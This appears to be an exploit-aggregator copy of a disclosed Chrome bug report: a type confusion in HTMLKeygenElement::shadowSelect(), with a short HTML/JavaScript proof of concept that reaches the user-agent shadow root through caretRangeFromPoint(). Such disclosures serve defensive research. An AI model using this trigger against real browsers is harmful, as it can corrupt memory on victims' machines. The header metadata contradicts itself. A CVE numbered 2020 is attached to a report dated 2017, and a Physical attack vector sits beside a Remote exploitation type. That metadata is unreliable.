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Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

CVE	Category	Price	Severity
CVE-2020-6572	CWE-119	Not disclosed	High

Author	Risk	Exploitation Type	Date
Anonymous	High	Remote	2017-02-01

CVSS	EPSS	EPSSP
CVSS:4.0/AV:P/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Physical	AV	The attack requires the attacker to physically touch or manipulate the vulnerable system. Physical interaction may be brief (e.g., evil maid attack1) or persistent. An example of such an attack is a cold boot attack in which an attacker gains access to disk encryption keys after physically accessing the target system. Other examples include peripheral attacks via FireWire/USB Direct Memory Access (DMA).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017020009

Below is a copy:

Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect() 




Chrome bug:
<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=666246" title="" class="" rel="nofollow">https://bugs.chromium.org/p/chromium/issues/detail?id=666246</a>

PoC:

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: ifratric

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